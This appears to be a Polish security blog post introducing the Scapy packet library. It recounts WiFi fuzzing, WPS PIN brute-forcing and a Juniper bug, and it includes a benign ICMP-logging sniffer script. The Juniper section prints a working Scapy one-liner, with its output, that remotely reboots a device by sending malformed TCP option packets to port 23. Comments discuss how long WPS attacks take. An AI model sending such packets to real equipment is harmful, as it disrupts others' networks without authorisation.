Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Scapy – prosty monitor komunikacji sieciowej
Narzędzie scapy swoją popularność zyskało chyba po raz pierwszy przy okazji pracy Advanced WiFi Fuzzing, gdzie autorzy zaprezentowali dość nowatorskie podejście do tematyki bezpieczeństwa sieci WiFi. Mianowicie realizując fuzzing z pewnym wykorzystaniem scapy, pokazali nieuwierzytelnione ramki WiFi, które umożliwiały przepełnienie buforów w oprogramowaniu sterowników kart bezprzewodowych (Linux & madwifi) na AP.
Co ten problem umożliwiał? W największym skrócie – wykonanie dowolnego kodu z uprawnieniami jądra systemu operacyjnego – w sposób nieuwierzytelniony. Jeszcze inaczej – niezależnie od tego jak została skonfigurowana sieć bezprzewodowa – w trybie Open, WEP, WPA, WPA2, czy WPA2-Enterprise – atakujący mógł wysłać bezprzewodowo nieuwierzytelnione ramki, które powodowały wykonanie dowolnego kodu w OS, na którym pracowało radio. Biorąc pod uwagę fakt, że przynajmniej domowe routery WiFi często bazują na Linuksie i bardzo rzadko są uaktualniane, problem może być aktualny i dziś…
Kolejnym ciekawym zastosowaniem scapy był pewien skrypt pokazujący słabości mechanizmu WPS (możliwość wykonania bruteforce PIN-u w dość krótkim czasie – a tym samym uzyskania pełnego dostępu do sieci WiFi – ponownie – bez konieczności znajomości hasła dostępowego).
Jeszcze innym wykorzystaniem możliwości scapy, była swego czasu prezentacja buga na urządzeniach Junipera, de facto z wykorzystaniem jednej linijki w scapy istniała możliwość zdalnego rebootu urządzeń.
Bardziej „rozbudowana” wersja tego skryptu składa się aż z trzech linijek:
>>> ipl = IP(dst="172.17.20.102") >>> ipl <IP dst=172.17.20.102 |> >>> send([ipl/TCP(dport=23, options=[(x, "")])/"bye bye" for x in range(256)]) ................................................................................................................ ................................................................................................................ ................................ Sent 256 packets.
Z kolei z mojej strony, aby zachęcić do przetestowania możliwości scapy, udostępniam prosty skrypt monitorujący komunikację sieciową – nasłuchiwanie pakietów ICMP oraz zapis wybranych danych o tych pakietach (adresacja IP, typ, kod) do bazy danych. Wygląda skomplikowanie? W scapy to tylko kilka linijek :)
#! /usr/bin/env python from scapy.all import * import re import MySQLdb conn = MySQLdb.connect("localhost","test","test","test") c = conn.cursor() def icmp_callback(pkt): if ICMP in pkt: c.execute("""INSERT INTO icmps (dst,src,type,code) VALUES (%s,%s,%s,%s)""",(pkt[IP].dst,pkt[IP].src,pkt[ICMP].type,pkt[ICMP].code)) sniff(prn=icmp_callback, filter="icmp", store=0)
— michal.sajdak@securitum.pl
Scapy pomimo swej maleńkości jest gigantem.
„One authentication attempt usually took between 0.5 and 3 seconds to complete…”
z wifite czy reavera, na nowszych routerach att nawet po 120sec (na tych starszych minimalnie 9sec), wiec atak trwa kilka dni…
@Damian -> to prawa, choć jak już się uda, to brzydko mówiąc, pozamiatane…